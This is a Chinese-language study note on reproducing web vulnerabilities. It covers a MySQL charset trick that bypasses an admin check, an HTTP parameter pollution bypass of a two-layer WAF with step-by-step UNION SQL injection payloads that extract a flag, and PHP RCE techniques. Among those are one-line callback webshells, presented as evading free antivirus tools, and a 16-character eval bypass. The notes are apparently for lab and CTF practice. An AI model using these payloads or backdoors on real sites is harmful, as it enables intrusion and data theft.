sql及rce漏洞复现
一,mysql小特性解决大问题
php
<?php
$mysqli = new mysqli("localhost", "root", "root", "cat");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
$mysqli->query("set names utf8");
$username = addslashes($_GET['username']);
if ($username === 'admin') {
die('Permission denied!');
}
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
if ($result = $mysqli->query( $sql )) {
printf("Select returned %d rows.\n", $result->num_rows);
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
var_dump($row);
}
/* free result set */
$result->close();
} else {
var_dump($mysqli->error);
}
$mysqli->close();
题目简述:
当传入?username=admin时,代码会进入die('Permission denied!');但是需要拿到var_dump($row);我们就必须输入admin,此时该如何解决? 然后,我们访问http://localhost/test.php/?username=admin%c2,即可发现%c2被忽略,Mysql查出了username=admin的结果
漏洞分析:
Mysql在执行查询的时候,就涉及到字符集的转换。
-
MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
-
进行内部操作前将请求数据从character_set_connection转换为内部操作字符集
在我们这个案例中,character_set_client和character_set_connection被设置成了utf8,而内部操作字符集其实也就是username字段的字符集还是默认的latin1。于是,整个操作就有如下字符串转换过程:
utf8 --> utf8 --> latin1
最后执行比较username='admin'的时候,'admin'是一个latin1字符串
漏洞原因:
Mysql在转换字符集的时候,将不完整的字符给忽略了。
举个简单的例子,佬这个汉字的UTF-8编码是\xE4\xBD\xAC,我们可以依次尝试访问下面三个URL:
php
http://127.0.0.1/test.php?username=admin%e4 可以
http://127.0.0.1/test.php?username=admin%e4%bd 可以
http://127.0.0.1/test.php?username=admin%e4%bd%ac 不行
二, 贷齐乐hpp+php特性注入
源码:
php
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
function dhtmlspecialchars($string) {
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = dhtmlspecialchars($val);
}
}
else {
$string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&', '"', '<', '>', '(', ')'), $string);
if (strpos($string, '&#') !== false) {
$string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
}
}
return $string;
}
function dowith_sql($str) {
$check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
if ($check) {
echo "非法字符!";
exit();
}
return $str;
}
// hpp php 只接收同名参数的最后一个
// php中会将get传参中的key 中的.转为_
// $_REQUEST 遵循php接收方式 ,i_d&i.d中的最后一个参数的.转换为下划线 然后接收 所以我们的正常代码 放在第二个参数 ,waf失效
//$_SERVER中 i_d与i.d是两个独立的变量,不会进行转换,所以呢,在 $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
// 处理中,$_value[0]=i_d $_value[1]=-1 union select flag from users 但是 value1会经常addslashes和dhtmlspecialchars的过滤
// 所以呢 不能出现单双引号,等号,空格
// 经过第一个waf处理
//i_d=1&i.d=aaaaa&submit=1
foreach ($_REQUEST as $key => $value) {
$_REQUEST[$key] = dowith_sql($value);
}
// 经过第二个WAF处理
$request_uri = explode("?", $_SERVER['REQUEST_URI']);
//i_d=1&i.d=aaaaa&submit=1
if (isset($request_uri[1])) {
$rewrite_url = explode("&", $request_uri[1]);
//print_r($rewrite_url);exit;
foreach ($rewrite_url as $key => $value) {
$_value = explode("=", $value);
if (isset($_value[1])) {
//$_REQUEST[I_d]=-1 union select flag users
$_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
}
}
}
// $_REQUEST不能有恶意字符
// $_SERVER
// 业务处理
//?i_d&i.d=aaaaaaa
if (isset($_REQUEST['submit'])) {
$user_id = $_REQUEST['i_d'];
$sql = "select * from ctf.users where id=$user_id";
$result = @mysqli_query($conn,$sql);
while($row = @mysqli_fetch_array($result))
{
echo "<tr>";
echo "<td>" . $row['username'] . "</td>";
echo "</tr>";
}
}
?>
绕过思路:
源代码进行了两次取值,第一次取值判断是否有非法字符,也就是第二个waf,第二次取值会覆盖第一次(在这里会产生问题),然后进行'&', '"', '<', '>', '(', ')'的过滤。我们通过构造两个i_d,第一个为我们有害数据,让第一次传参取第二个值,第二次传参取第一个值。
?i_d=1&i_d=2 php会默认取第二个,两次取值函数都取第二个无害数据,我们的有害数据没进去。
在php中有一个小特性,会将i.d和i]d转换为i_d,利用这一特性,第一次取值时,*REQUEST\[key] = dowith_sql(value);会将i.d和i\]d转换为i_d,故取第二个值。第二次取值时,*SERVER['REQUEST_URI']会区分i.d和i_d,所以取了第一个有害数据。?i_d=1&i.d=2
payload:
php
?submit=bbbb&i_d=-1/**/union/**/select/**/1,2,3&i.d=2 回显数字2
?submit=bbbb&i_d=-1/**/union/**/select/**/1,schema_name,3/**/from/**/information_schema.schemata/**/limit/**/0,1&i.d=2 注入数据库名
?submit=bbbb&i_d=-1/**/union/**/select/**/1,table_name,3/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=2 注入出表名 由于过滤了单引号,我们的ctf库名需要单引号包裹,所以将ctf转为16进制。
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,column_name,3/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/0x637466/**/and/**/table_name/**/like/**/0x7573657273&i.d=2 注入出列名
?
submit=bbbb&i_d=-1/**/union/**/select/**/1,flag,3/**/from/**/ctf.users&i.d=2 注入出flag
三,rce漏洞整理
命令执行函数:system exec shell_exec popen proc_open passthru
代码执行函数:eval asserrt call_user_func call_user_func _array
eval在php不是一个函数,是一个动态执行的方法。所以eval不能通过动态方式传参执行。
1,php回调后门
call_user_func('assert', $_REQUEST['pass']);
传值pass=$_POST[123],按理来说,assert可以执行$_POST,但是用动态传递的方式失败,使用蚁剑连接失败,但是在前面加一个eval即可成功,即pass=eval($_POST[123])
eval:eval() 函数把字符串按照 PHP 代码来计算。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
call_user_func_array('assert', array($_REQUEST['pass']));
<?php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, base64_decode($e));
在array_filter这个回调函数里,base64_decode($e)接收回调方法,$arr接收处理数据
传递 e=YxNzZXJ0&pass=phpinfo()
可以绕过免费查杀工具的后门
php
<?php
get_meta_tags("http://127.0.0.1/demo.html")["author"](get_meta_tags("http://127.0.0.1/demo.html")["keyswords"]);
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="author" content="system">
<meta name="keyswords" content="whoami">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
</body>
</html>
PHP Eval函数参数限制在16个字符的情况下,如何拿到Webshell?
源码:
php
<?php
$param = $_REQUEST['param']; If (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
绕过方式:
php
?param=echo%20`$GET[1]`;&1=id
在linux``可以执行命令